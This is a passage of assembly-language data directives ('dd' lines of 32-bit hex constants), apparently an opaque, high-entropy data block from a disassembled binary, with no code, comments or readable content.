dd 72E461ECh, 9952E00h, 5F5BCE70h, 4E0E0D33h, 0ECECFCDAh
dd 62E1480h, 30125709h, 810F7CE2h, 50C773DFh, 0B8602070h
dd 0E812B641h, 6C46178h, 84019BABh, 23BAAB86h, 5BC0E7BAh
dd 7407DD97h, 0F0DC1194h, 1A157C8Ch, 667849F1h, 0AC53C561h
dd 1909830Ah, 0EF38F70Bh, 497BBD01h, 0BCA5CE95h, 0F3704093h
dd 0C901EDF4h, 0C1AC2B62h, 6E6AD1FFh, 6188001Bh, 5AFC9F4Fh
dd 0C6221743h, 7E0AB030h, 0C55FE225h, 0DE741209h, 0CC7EC43Eh
dd 6C807C85h, 9704E5BDh, 0AB54291Ah, 4CFB72D4h, 91101042h
dd 0CF810329h, 0C21A7363h, 1E4650h, 7BFE3558h, 28537E3Bh
dd 0FA5D2C09h, 8226743Dh, 1C4033F3h, 84B76FCCh, 8B88E70h
dd 4807AE1h, 18A165C0h, 0D29F9B10h, 0F58A6875h, 0BFD0501Dh
dd 0CCC94ACDh, 894A0FF7h, 3DE7188h, 0DBC5BF50h, 0C35B0D5Eh
dd 0F01CD6Eh, 0E08A65F3h, 436E3C12h, 0FB670199h, 9226C680h
dd 1612E4C0h, 0AD6B0A97h, 8C1AB8AAh, 0E2E43FFFh, 0A60BD96h
dd 548205CDh, 0DECDCAE3h, 0A30BCE82h, 0DDFEE60Bh, 928ED6h
dd 0C65EB8BDh, 0FF6A9E64h, 2DC28B6h, 8D8548CDh, 415E8E6Bh
dd 0AC35B47h, 4A3CC089h, 5F3E273Ah, 0A26F747Ch, 927798Dh
dd 0BB9D382h, 0F44ADCh, 0DB7313BEh, 0BD74A33h, 2985BD12h
dd 88839E2h, 2C1201A7h, 57C2B06Fh, 453F104h, 22B926B3h
dd 0E380F122h, 0C4951B11h, 801499EDh, 0CF1E58DAh, 0E54BF720h
dd 0B661C88h, 0FCC254BBh, 6A755E11h, 9D89C4D0h, 89224B99h
dd 80082819h, 4CFCD986h, 0D57E00E5h, 2BB87382h, 955089C8h
dd 0D1248B42h, 51CB2E60h, 0D62000F6h, 2B7811B8h, 0F6456200h
dd 0E7F49D46h, 4186BE61h, 550C8E0Fh, 1973A306h, 85670739h
dd 0FC7DA42Eh, 6290D97h, 0CF398C2h, 0DAEA014Ah, 0A1EEC590h
dd 0E196889Eh, 0EA5B181Ch, 0E69523B9h, 800B441Ch, 22B9EF58h
dd 9DA4B83Eh, 1DAC7471h, 5E093509h, 4726C416h, 0A5B5D98Ah
dd 0B3FE1702h, 0B6948DE7h
dd 5201E276h, 0D67CFC69h, 4FC0EC3Ch, 0CC648425h, 0A3A2624h
dd 2864377Bh, 3083CCA1h, 0F0030BD3h, 123165C8h, 0B36AFDD0h
dd 0D3D6003Ah, 86183391h, 5F6F00E6h, 706EF0E7h, 2E26A93Dh
dd 0DF06AF37h, 959AFD7Dh, 8C702FB2h, 0B999D305h, 0CD4507E4h
dd 72AB0E86h, 0EE7D4915h, 79BA814Ah, 1573F5A5h, 249A2D8h
dd 192165F8h, 0EC7D0F82h, 8078B106h, 0AAD83D59h, 1200A469h
dd 5CD7E557h, 14334BECh, 0FCFCDBBAh, 0BD015512h, 0B5CB9E2Bh
dd 0BA61A77Dh, 1BF9170Eh, 0CD1D97E8h, 0CF4B368Eh, 9DBD02FFh
dd 253C5475h, 0F9975F67h, 0A6949E9Bh, 0D4038FB1h, 0C4960A31h
dd 5611A58Bh, 8D09C1EEh, 62173EF9h, 25AA53ACh, 0EC2BC632h
dd 0E576C4FEh, 0BD33B82Eh, 76E14921h, 92AA9B2Ah, 0FC7B0C00h
dd 26B2D496h, 9E12EE9h, 0F35C19F1h, 81114471h, 0FC6A8BDBh
dd 8C42A51h, 0BF867AEBh, 1464A0EDh, 0EB802760h, 75A80E4Ah
dd 0F8E15E71h, 7111258Eh, 4AFC2F9h, 4BF4DC76h, 8864C1A6h
dd 1B282E4Bh, 95B88B9Ch, 65BF31B9h, 5386880Ah, 3FDB6096h
dd 8BCA680h, 1F265463h, 915DE5Ah, 42C04AC8h, 9FE180F8h
dd 5AE01A4Dh, 9737C2E0h, 57340D24h, 120F22F2h, 0B7E04821h
dd 0B6954DDFh, 0EB9CEF28h, 0FE276AB5h, 40B0C9C6h, 1E7CB213h
dd 0E46E1C0Fh, 2E1D0070h, 1237BBA3h, 0E5A57660h, 8C7A3E13h
dd 6A0AB400h, 50B6B3CBh, 0E540349Ch, 4A71325Ah, 0EF311CEFh
dd 3520F4D4h, 2F5B3358h, 0CA3AF91Bh, 0B0F81CB6h, 0AB2BBF73h
dd 26C08951h, 0F19E00D3h, 5C4EB8CDh, 69532675h, 5A0F4732h
dd 23E149A1h, 20E47D61h, 6E7AE3DAh, 9E56002Ch, 2F527473h
dd 0BA25FB2h, 0E2EE19E8h, 66D8B325h, 0C85277F7h, 5F03071Eh
dd 840276E9h, 0D265DBEFh, 562535EDh, 0D2675F0h, 99057F8h
dd 247B885Bh, 1520FD0Eh, 7989209Ah, 25D680BBh, 0F5542D0Ch
dd 25CB48CCh, 34C674FFh, 9A952892h, 72DE5310h, 8980E3D8h
dd 309F0B15h, 2B359C7h, 6E8B7196h, 46DF94D9h, 786D95D4h
dd 0A0613D68h, 0DE82B33Ch, 8933AEDBh, 0A07878DBh, 941A1854h
dd 48D34E6Fh, 4CB99C4Ah, 8C1CACh, 8AB59AFEh, 0AF95FCD0h
dd 1972C74h, 59E38043h, 0F845482Bh, 89BB0C30h, 123637CFh
dd 518EB612h, 2B6D21E1h, 43DB1424h, 656761C0h, 0F0006836h
dd 0BFD6DD99h, 124D800Ah, 888B0F62h, 2D8C866Ah, 0B85B227Dh
dd 9E181B79h, 6ADED602h, 0DFD89347h, 1AB178E0h, 17306880h
dd 0F81C9C78h, 365C0CFh, 12216B7Eh, 0F061A567h, 7B13CFEDh
dd 0C4B61C83h, 293C9AE0h, 11AD8512h, 0EDD231E2h, 1740A854h
dd 0AB113DE8h, 8B607122h, 76A8DA9Dh, 195F89h, 509061F2h
dd 8F1D9DBFh, 56E72351h, 0E8D98F79h, 0B1F606D2h, 0B09F2D14h
dd 0F5C8D014h, 0ED29742Eh, 580A879h, 0E9CC0A0h, 7A78F181h
dd 48A9EF20h, 0A85B0041h, 0D9DC8896h, 270171FAh, 329C64ECh
dd 0F6EA8DD3h, 135D085Ah, 0C7B35B17h, 0FEB8DD0Eh, 0F74B9001h
dd 952A88A6h, 0E45BA505h, 0FF181BD9h, 88AE3300h, 0A0E556C4h
dd 0D78D4A29h, 905949D4h, 9AB73A45h, 0B6093303h, 0AED4B02Bh
dd 0BF9BF617h, 0E44856C1h, 7B303ADAh, 41099D03h, 0DFA62A2Dh
dd 1E1523BEh, 16D8EF7Ah, 0A78302A6h, 8D0FC7B0h, 9A2DD0Bh
dd 895C5495h, 7371615Fh, 55499C47h, 8F7DF29Ch, 38F4FB9Eh
dd 0BB8B66FCh, 0FA7C7733h, 0F5492110h, 316C5F71h, 0C79D0174h
dd 0DF1102ADh, 765CE2D8h, 0E08B5EBh, 0DB40B003h, 24D8D89h
dd 0C0124AD3h, 5204EDA3h, 0AE5FA7B7h, 6ABAFB74h, 9156098Ah
dd 5D1B5558h, 2D35FA10h, 89579614h, 5B09713Ah, 8D766050h
dd 0CC81B25Bh, 26DA13Fh, 61EBB510h, 0EAE6964Fh, 0E5F59FE0h
dd 6C334D20h, 879297E1h, 5C79756h, 1CED9D0Bh, 43675AEh
dd 0B9137D27h, 7EAFD08Eh, 262B2845h, 6ABDFE91h, 697856F2h
dd 90618D7h, 9C08FC85h, 0A5A4EC39h, 2DB185D2h, 0C9C07B1Ah
dd 75201DC5h, 3C0958B8h, 70198376h, 8D539534h, 2B181959h
dd 5973F905h, 0FC047FF5h, 2DAE11B9h, 0D25E1A56h, 8D4BE0A2h
dd 0A7C76F51h, 8D9655D9h, 1285897Ah, 8BD2FC2Bh, 0CA594250h
dd 0EA4CF768h, 853079BDh, 98C5BAFDh, 9B77CA58h, 0D72B9528h
dd 4D618627h, 60186470h, 77E4EB75h, 699EA15Fh, 0B125C816h
dd 951DCE09h, 2B441794h, 72C72C80h, 0DBF61EEFh, 0E04D786Eh
dd 3F63BC2Ah, 99CBD75Dh, 6526600Fh, 0F0BF97C0h, 977FCDCAh
dd 1FC1432h, 6FB93016h, 8C1DBCh, 0C4E4F2B9h, 0B66D5272h
dd 0E4F5372Dh, 0B7F39D8Dh, 0B5920D07h, 2591802Eh, 0BFD2F797h
dd 2C808A93h, 0CC3D74F5h, 7521808Fh, 32577986h, 5B43264Ch
dd 0DBBF0C41h, 0B52A890Ah, 2EFBC55Dh, 9FF1834h, 0F459558Dh
dd 0D2273D44h, 0C3142109h, 0C649DD3Ah, 0B36FAF84h, 4A072A00h
dd 5CCD6D93h, 0BC68A20Eh, 7A9C79BBh, 3DD22D2Bh, 160B8D2h
dd 3BE6CABAh, 388467Bh, 0ED5B5BCDh, 52BB8045h, 95B9E9B4h
dd 0BECDFB8Bh, 0A897E8C3h, 4BFFD95Bh, 3A1D8923h, 28090A6Eh
dd 37737839h, 0D4ADAEh, 0ACE36A92h, 52199199h, 0B70F4213h
dd 0E89D24AAh, 0CACC80C6h, 0B7B2BA78h, 0CBEB9EE1h, 7CF8744Eh
dd 98202021h, 0FAFD5B2Dh, 8FC016DEh, 0F008E614h, 9C3D35h
dd 6078E8D5h, 11BDB52Bh, 0C41FC6BFh, 0B8024180h, 70F0973Dh
dd 502F2AFAh, 6B070360h, 863D27F8h, 6C6EDD4Fh, 0B5A9B203h
dd 6EC27967h, 151BFF8h, 1F113B7Fh, 2BF14184h, 15853260h
dd 0DD238528h, 8AD00979h, 6F1B0A4h, 0FF87CC6Ch, 0DA4B80D1h
dd 0A435208Ah, 0F36EBE3Dh, 3E67140Dh, 52AE1ECh, 0EF570101h
dd 0F592026Ah, 1797B390h, 0BBFDFE8Ah, 0F4D977Dh, 0D6AC4AC0h
dd 12257DECh, 0E889D248h, 214B80F6h, 0A89047h, 4201F8F5h
dd 3F200780h, 8AD13A04h, 9AEA5BFAh, 0C01AC801h, 291C00Bh
dd 65A70917h, 12297F04h, 0AE1AE905h, 43CA2338h, 3114E28Fh
dd 8FCC7BD2h, 145209BFh, 42562EE6h, 50E1DBEBh, 701C7A37h
dd 145FCE9h, 9AF2509Eh, 616B3E00h, 2FDF8948h, 0F6C29900h
dd 0CCDD5F65h, 98224986h, 0C4E2E94Fh, 4BB89298h, 80B89F5Eh
dd 0F765DE6Bh, 0A5090510h, 0C7666041h, 61F831B0h, 4E172EF5h
dd 0E7F882E9h, 7510D30Bh, 253B5EAFh, 0BF035066h, 421FD6F2h
dd 19CCE46Ah, 0C2449F12h, 7A9FF398h, 0AB66B522h, 1759BB1Fh
dd 0BF045ED7h, 0ECAC01E1h, 0B09C58A7h, 1866425h, 0C2226798h
dd 0D8911F71h, 3A0E7055h, 0A2E6F28Ch, 0C8998529h, 9771E4C8h
dd 0AC76490Fh, 84E9C8EEh, 0AC20CB80h, 9D890BFEh, 0E9EB56D1h
dd 1074F41h, 3C6197B3h, 0B1413692h, 3DD42FAh, 0DB129028h
dd 0C07FFDB1h, 72EF81ADh, 0D18B401Fh, 93E38DD2h, 0AE2EDD12h
dd 0BD319F61h, 0E888F45h, 4C094189h, 3C0092DEh, 73E2D805h
dd 7E8EC618h, 745FE79h, 952936D1h, 4134CDB5h, 2DDDBD6Ah
dd 7C0130Fh, 0AA1A3D1Dh, 8996560Eh, 0E15A7818h, 0C4601D44h
dd 0AA22FD4Ah, 1BD35260h, 6CBE1E85h, 3747D761h, 56208469h
dd 0BB6813AAh, 4DB68960h, 0C0010486h, 0AC2105F7h, 9A2588FAh
dd 0A8F23809h, 0FE22A550h, 949C0A0h, 8AA11E94h, 144A720h
dd 0F9B095F9h, 258313DDh, 40EA553Ch, 80F5377Fh, 4054B678h
dd 9C160A7Eh, 5056B538h, 458271BBh, 55B90208h, 37935858h
dd 28D2178h, 3E7019CFh, 0FD56F5C2h, 0A1585E23h, 0BBCD0172h
dd 7F3250C9h, 80F37CB5h, 5C765952h, 446A005Dh, 3F8EF4FEh
dd 0DB95FC5Fh, 0A9627091h
dd 29BDC509h, 0A0A2F59Dh, 0FD5EC02Bh, 76E500DCh, 1128FE10h
dd 0B5182988h, 0D2550655h, 0CC4A0BBFh, 175C3D8Ch, 0B7B5F5DAh
dd 0B86D2F0Fh, 4A7FE29Eh, 80EADB02h, 0DDF8B38h, 0D5EFB788h
dd 860F8561h, 0B58A3Bh, 100E9D70h, 0DFB426h, 1D82A720h
dd 0FD166587h, 63DCAA13h, 17BB3E02h, 0D6515C93h, 0AF4A1A46h
dd 0B9963742h, 61C4FD89h, 0E7815100h, 29D899BBh, 651B975Fh
dd 0ECC6C7E8h, 0C5577C25h, 0BA16A63h, 8CD404FDh, 0AEC4A0C0h
dd 6996041Bh, 0AE2536D8h, 10C1A004h, 1BE750B8h, 0F6755Eh
dd 3D7B2818h, 562198B2h, 0B3DF3807h, 0D509B822h, 0C180353Dh
dd 6B88DBCAh, 8B16167Bh, 8268B9FEh, 41B973BBh, 2CEA19Dh
dd 68FCE1FFh, 50D3764Bh, 84004568h, 8795A41Ah, 4ECD9D33h
dd 0A7CF970Eh, 9071090Dh, 45328C4h, 0BF2D5194h, 3013EFCEh
dd 0A59BF704h, 0FEA512FEh, 9A88B013h, 0D4793DC5h, 0A0AC1C00h
dd 372C1A7Ch, 1B1F9B01h, 3A779671h, 0B5A7282Eh, 28307DD3h
dd 28BA73Fh, 29F67E94h, 685660C0h, 1BE01DCh, 0B3A878C8h
dd 0AE152EA4h, 42FBDF9h, 1277116h, 1D31BD0Bh, 4A35A23Ah
dd 7BE420C8h, 3E9AB7A6h, 0CA97C456h, 0FFF92332h, 54B569B9h
dd 0D49FACEFh, 0C311085h, 71CFF15Bh, 19284537h, 84DA4A9Eh
dd 7D8D31D2h, 0EC68CD90h, 56AC253Fh, 0BD9F4B38h, 13630095h
dd 0BE56B33Ch, 2676E9E8h, 225E00D4h, 6AC66C53h, 645E46DFh
dd 9127CF3h, 2FDDA9B5h, 5157FB89h, 71181Dh, 74942902h
dd 8AB4330Dh, 58F8B92Dh, 317395ECh, 9727BFD0h, 0A34F5A12h
dd 1EC87740h, 71C1127Fh, 83ABFC5Ch, 88612294h, 0ED040E6h
dd 0EC3C2B12h, 0E1B84660h, 57121AA9h, 64AAB4DDh, 898DACE6h
dd 0AD5773F8h, 29400AEDh, 2D2BD91Fh, 8910ADFDh, 0E2033225h
dd 867EA415h, 5FAE807Ch, 27CEF2ACh, 0F75B89A6h, 4946AC78h
dd 0AC9770FBh, 539576A0h, 0CDFB27D9h, 9D87950h, 0B5336051h
dd 960B9812h, 61672157h, 887F505Fh, 1C4B0D22h, 6A5B1F8Bh
dd 0E123F72h, 698ABF52h, 7CC2460h, 9B35EB12h, 0C32DE1A0h
dd 6301BB8Dh, 46CA8E4Bh, 5059B702h, 0C6FE830Fh, 0B6615759h
dd 254689B0h, 96F354A3h, 0A690D862h, 958DF958h, 3AF86073h
dd 231B00E1h, 2FBBFB20h, 2B82905h, 0C5348D20h, 12DFBFA6h
dd 2CD188ADh, 23AC8D00h, 0C519EAC3h, 0B306092Dh, 518B65D5h
dd 8098377Fh, 969CE869h, 28514FB4h, 2A0BC5B3h, 6A4E65CBh
dd 0D78E05D4h, 4D6B613Fh, 923EC000h, 0AA913888h, 819D2316h
dd 0DF0021FAh, 0C251E531h, 91173FD7h, 6418119h, 14CDB45Fh
dd 0ED7827Ah, 0EB2A9CD5h, 3A3227Bh, 28DA9A2Ch, 90820E9h
dd 0B780F781h, 2DDD0971h, 1D4DC56h, 21F1AAB0h, 3F1CB4EDh
dd 9918760Bh, 9B2B7FC3h, 0F5138085h, 308D0360h, 81511589h
dd 8C4BD7D0h, 2F142A8Bh, 0EF82BB04h, 0DB96D81Ah, 89251D69h
dd 0D69EF6EDh, 0B2251446h, 18598C5Bh, 1C243A19h, 2829A081h
dd 5A30CB6Ah, 6EA21EE6h, 0AD004C71h, 79B583CBh, 34E2F464h
dd 81263BB4h, 21D113Bh, 0C8465C5Fh, 0FE4A01DEh, 3845BD89h
dd 59962714h, 5B5283B3h, 0CB9F5750h, 0E071EBF3h, 0ED9E207Bh
dd 0A401D4F0h, 0E2BBD0DFh, 0EA639F04h, 64B6C800h, 335E2F8Eh
dd 4FDB5F1Fh, 9A28E1C0h, 0A59F43Fh, 5B4E20F0h, 1B46DCEBh
dd 0AF07C500h, 0B278920Eh, 0BD2B050Bh, 606CE039h, 0D6B7000Fh
dd 944318B9h, 5B9D615Bh, 0E16DA585h, 0FAAEB541h, 85190024h
dd 0CB8D010Eh, 0D47330h, 65D11226h, 0A104DCF0h, 1121EDBCh
dd 29C384B8h, 28A4F595h, 9561F660h, 1D59BE5Bh, 7D002018h
dd 377BAA32h, 4EB011A0h, 1E0CAD41h, 4C6DF9BDh, 0BB440065h
dd 628C4AE6h, 22007D90h, 15980630h, 25E36502h, 91C2C4D1h
dd 2FE0DE4Dh, 49B0A27h, 0DB803DE0h, 0D5B5B998h, 35DAC06h
dd 0ADBCE135h, 0DA0822C9h, 21BB59Dh, 37AA64BBh, 0BC569CC2h
dd 70197B49h, 87208490h, 13C530E2h, 0B7BC6A61h, 59993474h
dd 4BC12A6Ch, 29BC9C0Bh, 779BD10h, 0E30B8548h, 7FE14043h
dd 2ED575D9h, 6EE0B8F6h, 42A43C5Eh, 41F7800Bh, 9EC798E8h
dd 0B2B6196Eh, 6AD87083h, 0F8E5CBD9h, 3CA8282Eh, 0BA09DF8Ah
dd 0F7893C02h, 95F34677h, 0CD87F754h, 1B424C47h, 9E9FD5CEh
dd 0F8801891h, 9BF2C6C4h, 683DCD95h, 12F6E0DFh, 0F55C8EC1h
dd 0CECD4A00h, 0DAB98542h, 0B2DE4AE5h, 3AAFA8B3h, 598916CDh
dd 0E7D49E37h, 0C6E15F40h, 0E36E00B5h, 0F2896510h, 0CC12F514h
dd 50151DEh, 5BF9F0F3h, 0C8BA55C6h, 0CF355Fh, 0AC6B7BCEh
dd 4E26AE01h, 9D045F3Ah, 38AB09DDh, 248A51CAh, 2DAB1888h
dd 636A2BCAh, 0CEF08700h, 39130CDBh, 995891Ah, 12FA5677h
dd 804BFCF8h, 64C247B3h, 41840F1Ah, 0BA009BFFh, 0E78191C7h
dd 696DFB04h, 0EAB85F1Eh, 18D09B0h, 30E9DDC4h, 0F84DBDB8h
dd 0E63FE3BCh, 0F2D76E2h, 42C34489h, 0B1C86284h, 75C6FD12h
dd 7335B5h, 0C6A41DE1h, 600B51D2h, 7674C180h, 5F61627Bh
dd 9A955850h, 10979DCh, 0D3AB09FEh, 0C6A7C414h, 2EA2505Eh
dd 9E697403h, 4227787Ch, 0B51DFADEh, 0AE840690h, 51ACDB00h
dd 0A0298CDh, 0AD270BE8h, 3D577CD2h, 0C4F1005Eh, 0F47D629h
dd 439E4F97h, 0C0AAF637h, 0A012E658h, 0C77A149Fh, 88EEBA00h
dd 173E3F84h, 0AD2096B8h, 0D381021Fh, 65F715CBh, 6B26055Eh
dd 1C21FCDEh, 494E3A7Ah, 13C69D29h, 0FD202AEDh, 4E78A6B0h
dd 0EA075271h, 7B856Fh, 7B5B2AFBh, 0F533A3A6h, 99A948D6h
dd 0C8608AD6h, 0D750C018h, 0B44CFC61h, 0B091215h, 0F4C3DF7h
dd 70F78100h, 0FF4E32F2h, 8D31D112h, 305E8E9h, 0AA1CAD9Dh
dd 5A300C8Eh, 2F6BF6Fh, 6A7403F0h, 914B90BFh, 1C0B7CFDh
dd 89161B2Eh, 0D06101FEh, 4677E609h, 5467001Ah, 4E331F03h
dd 591E40A5h, 3F9E43F4h, 25B0F915h, 64E8CDF8h, 0FE8F6115h
dd 25D5A160h, 3071BEE9h, 19FAAC2h, 0D6359D33h, 24D7B60Ch
dd 3C32C720h, 0E793369Dh, 0FC699D5Ch, 15512DF0h, 0D6AD5054h
dd 0F3040A1h, 80C98F58h, 45C38160h, 9802FE26h, 0B561FC2Fh
dd 0EEE90AE7h, 3A9C2D63h, 23172B64h, 24EEF158h, 2E76CD96h
dd 690057E3h, 0AEAD4BB6h, 2B1E79E2h, 0B44BBF66h, 0E23B565Bh
dd 974800Fh, 0E5B9DE44h, 0B0C5E74Eh, 14B06BDFh, 9626801Bh
dd 252FD110h, 0AD3A73F8h, 0EC425DCDh, 6A8A40FCh, 0DC509CFFh
dd 3838555Ch, 0EDDC49CDh, 461F26Eh, 12F99D89h, 97D8C2F4h
dd 39BE2DB3h, 0B0C9B312h, 569730AEh, 3100C262h, 4EBED7B7h
dd 4321B8Ah, 5B7E73C8h, 0FE58816Fh, 0E647605Fh, 0E4F97000h
dd 3B9DBB71h, 0B83C4F4Bh, 17F2D686h, 0E7481F00h, 0C8D7B183h
dd 0A5327395h, 85C79877h, 2E0B4155h, 47E34D12h, 0AACEC135h
dd 716C525Ah, 0F0FE92E8h, 8D30293Fh, 0C82BED19h, 1154D809h
dd 0E955D18Bh, 6CB22F37h, 49107258h, 0DEA04C2Dh, 0C1B5A58Fh
dd 0C1953102h, 905F1964h, 553D69F3h, 59B53070h, 12B74Eh
dd 92F7CB81h, 0E96F7425h, 0EC151233h, 2015101Eh, 2D36E911h
dd 2D707429h, 0E0ECBCFEh, 1E9197F9h, 9D23101Eh, 71054285h
dd 0A5780B45h, 6B405158h, 0A0EB2580h, 862017ECh, 5D66BF1Dh
dd 0A97B897Dh, 0F061DB95h, 0D7258047h, 0E2075C1Eh, 0B224010Dh
dd 29578A49h, 71975B06h, 0AE98D39Ah, 92902D98h, 8381852Ah
dd 8C0FFC16h, 63FFBD30h, 2B681377h, 1D59C8C0h, 0EDFA200h
dd 9563D742h, 0EA20006Ch
dd 51A88CF8h, 0EB138191h, 6AFF9BB0h, 0F4985EF0h, 2B5F0003h
dd 1F5D1B0Bh, 0F1C92EDh, 53252A8Bh, 45F0041h, 9F0D283Ah
dd 1BE6AA05h, 584080AEh, 0A181270Ch, 979100EFh, 0CF306183h
dd 0F40729A2h, 0FEEC4113h, 5E5B8D22h, 3DFEDA10h, 20809D4h
dd 2D04F21Ah, 4FF1B8D8h, 23A1ABE7h, 348F6050h, 3D27B575h
dd 0E40E565Fh, 5CD967F8h, 0BBA05C08h, 0A6C93E55h, 0DC547CDFh
dd 0DFC05912h, 10A52509h, 4B65BD5Dh, 22BC8E22h, 2549938Eh
dd 5B95BFF0h, 18155108h, 0C2745A57h, 0CE2E059Bh, 2FB9F255h
dd 8762BFCFh, 0C59501Dh, 0CD2A3D00h, 929CB63h, 0E1FF5383h
dd 43C0354Dh, 9C2C98Dh, 0F0B42146h, 0A50001F9h, 2CD23DDBh
dd 1CDD00AFh, 18D99A4Ah, 301ECB3Ch, 0FA04BF89h, 0C6B866ECh
dd 0C20452A1h, 0E3D8EDDFh, 17805B99h, 0F012C91Bh, 20FB2430h
dd 0B2E80FB3h, 48859500h, 0A0AA89CDh, 7AF402CAh, 2A52719Fh
dd 2651FA5Ch, 1B7C8EA7h, 0D11404DEh, 0EE3AB217h, 0C12B6DCDh
dd 2EA00D80h, 0E9B8ED28h, 8048DE3Ah, 0F380CD64h, 0DB604ED6h
dd 947C808Fh, 999E579h, 7EEF0838h, 403D6F57h, 21DA2582h
dd 0A6F0BB04h, 0FEB8269Ah, 96B8675Dh, 0C82531B4h, 0BF01370Fh
dd 4545CECFh, 0EB84D7FDh, 0D5C1AC3Bh, 0CDB74AD5h, 80849A4Ah
dd 10BAE66Bh, 0DA3F4832h, 21415D3Bh, 5647295Ch, 0EF80F5C0h
dd 1ADAA05Ah, 46DC86DEh, 890030D9h, 71C3C0CDh, 0CBB20E8Eh
dd 0B8522E9Eh, 0FEBBB0F2h, 1B73193Eh, 20BF698Bh, 3779C121h
dd 0FCF05890h, 82BD7648h, 55585B52h, 359765C6h, 8516918Ah
dd 90098CFDh, 35BF7785h, 0D1C8A000h, 197E1DE3h, 543515DDh
dd 0E99D8951h, 411A2AB3h, 0C4574BDEh, 468DAC2Eh, 48B5E076h
dd 5F8B979Dh, 0FCD8A45Bh, 0DDF64169h, 63B63A23h, 553014F2h
dd 9AF4B829h, 0FB6D9526h, 33631564h, 290689F0h, 0DA319D38h
dd 0C25E96F7h, 3AF8462Bh, 1025520h, 0DB05BF96h, 0DE500A79h
dd 11D0E15Dh, 684D702Fh, 0EDF6937Eh, 994963B5h, 74F60E70h
dd 9500DCCCh, 0CDB5EF45h, 1209ED34h, 0BF9D33B8h, 9AEAE1C4h
dd 0C017C81Dh, 2EFC7306h, 489A1195h, 82B2E27Bh, 252DBD2Bh
dd 0FE78C45Bh, 14B93B94h, 0B902ADECh, 166131C4h, 8257D911h
dd 2E99BD03h, 295BBF00h, 0E94649A0h, 1FB297h, 15A370D4h
dd 0E76F71Bh, 7D653C72h, 0BCE09441h, 0BD683022h, 5FE33954h
dd 95316104h, 9BEA05DDh, 113512E6h, 3188D2E3h, 4D285198h
dd 0E95B8009h, 0DE1B3F69h, 0DD0EDC8Bh, 6154E783h, 0F9096CCCh
dd 0E1F03A2Eh, 0E63A70B7h, 8539E1DDh, 24B77FFCh, 4293BC5h
dd 0B8149EBBh, 401A1C3h, 0A0C4F73Ah, 73566057h, 93281629h
dd 0FD76814Bh, 13EF4BEAh, 0F8A903CCh, 0C0167E80h, 80BC5F2h
dd 0E6B5E292h, 754D90B8h, 0D80981CDh, 539D2A3Dh, 8135EBF4h
dd 2FF96F80h, 132618D3h, 0AC95BE8Ch, 6C809F7Ch, 0B2D18922h
dd 0A1F20024h, 5CBCBA7Ah, 4F3CA703h, 10554885h, 0B64A1E5Dh
dd 3018E20Fh, 5116B75Bh, 65177B26h, 4A7D3CEDh, 2E557h
dd 5A9591E6h, 0CDF5584Fh, 0EC5F0463h, 86A00DAh, 0C84C7151h
dd 0AC8F56DDh, 0AD2D844Ah, 0AC9DD183h, 0E7640115h, 8F4A7B3Fh
dd 1FB3C487h, 0CF75C9AAh, 13BD60FCh, 3900CD78h, 67A3BA6Bh
dd 4AAD9D2Bh, 3E1DE72Ah, 0D593589h, 6A4C91EBh, 803D6CABh
dd 0BC6117D6h, 2F973A2Dh, 92DB2483h, 86AC14E3h, 59E0277Fh
dd 2175BB5h, 21C5B529h, 70383A57h, 0A6FA9FC0h, 0AD0BFD21h
dd 78365E90h, 2A58960Fh, 0A210421Ah, 686E5C94h, 53F91BEDh
dd 0DB59D98h, 795E5B95h, 9E51818h, 0B4A2F3Ah, 0FD04CF64h
dd 9B1B399Dh, 0B41F6AEh, 63F7C5CBh, 0E770480Eh, 4BE9BD4Ah
dd 66A0CC8Ah, 7C0453B2h, 0F2F978DFh, 0C4B73C95h, 1AACFA59h
dd 0B5ED2807h, 5B126743h, 61F89886h, 290300DEh, 489A33ABh
dd 640AB798h, 0D9E4ADB9h, 132D910Bh, 40BBBFB5h, 958A50DEh
dd 0B86077C8h, 164DB65Ch, 4FAC8B46h, 0A2146189h, 9694DF4Bh
dd 2ED7BEAh, 0C6D62EBFh, 51B55C56h, 0DB0C39h, 0A15E781h
dd 0B79646B4h, 5E50E93Ah, 4681559Bh, 6CB23EE0h, 0C423CE58h
dd 6FAE0A49h, 251C234Ch, 0A34F125Eh, 10BA590Eh, 0B27C16Ch
dd 6271B589h, 0A215D5A4h, 569A9940h, 0BD7809E3h, 0AA02BAB3h
dd 66001D0Dh, 0A418F8BFh, 5E619D69h, 76DC6A09h, 526809BBh
dd 89711417h, 0DA203944h, 0D43B8060h, 61D31292h, 23DB6BAAh
dd 0DECB0416h, 0C62A92C5h, 0B12D4AF2h, 0E92D5908h, 2870A553h
dd 0D0963020h, 0F1B53168h, 0E8C1E3D6h, 172E9FE9h, 80809B95h
dd 0B6094FCh, 9ACD48BDh, 5A7AAA93h, 0BBDC6202h, 0B1C0481Eh
dd 5F820225h, 0AD13230Eh, 0CF998165h, 0B8C22528h, 9E7BE901h
dd 17B700C5h, 2BE158D4h, 0C138F401h, 0E057D30Ch, 13AEEE0h
dd 0ECA09BBh, 0D47EEC18h, 4800CF8Bh, 71E864A5h, 0C682BDh
dd 0E763984Fh, 0B111F804h, 6BD8D100h, 32CC5855h, 50440F79h
dd 0E40F9739h, 8D27AE6Fh, 0CB0F5B0Eh, 8C78AF00h, 3300D2F1h
dd 0EA0439F2h, 7AD1514h, 496DCC7Ch, 20F400EDh, 9B00BA67h
dd 3709CDAAh, 1A9236h, 7065DC9h, 8AC569F2h, 0A347CE07h
dd 0C1219668h, 44936301h, 0B29F00E5h, 1F317213h, 0ABE69C00h
dd 0A05E7BF7h, 0E4E836h, 0EB3893Dh, 6EFEF1CCh, 1647460Eh
dd 6EA853Ah, 0E71CBF00h, 66D36C3Bh, 5E545615h, 94E8293Bh
dd 24A3336Ah, 230E172Ch, 0CEC260A4h, 54D37552h, 39BC76h
dd 7B32A9D7h, 23D24E42h, 77E79F61h, 8F49DEFBh, 198F66D5h
dd 5D2118A7h, 9D3A8883h, 0A18CDA15h, 0C50F21h, 0A7708D69h
dd 336B3666h, 71014630h, 0E7A3284h, 16DA453Ah, 1E4B1E7h
dd 0E8441A14h, 42C0BFFDh, 73401D19h, 0C49600CDh, 611552F5h
dd 9E004605h, 0A2B7BB67h, 0F442E5E4h, 25E0011h, 7E5B9037h
dd 1F00069Dh, 0FF763269h, 0FD37848h, 68FEBA96h, 533F7E40h
dd 55008C34h, 38D7ECA1h, 0C7D57F9h, 51F198C9h, 0B95EB5C3h
dd 7D76D5E0h, 85C60FCDh, 0A0E082E3h, 0F7A7C45Dh, 0F029E000h
dd 81205304h, 6A992864h, 520916BAh, 0E78F059Fh, 8151BC93h
dd 0E062497Eh, 28046380h, 8C41584Ch, 0C9F5301h, 279B8E70h
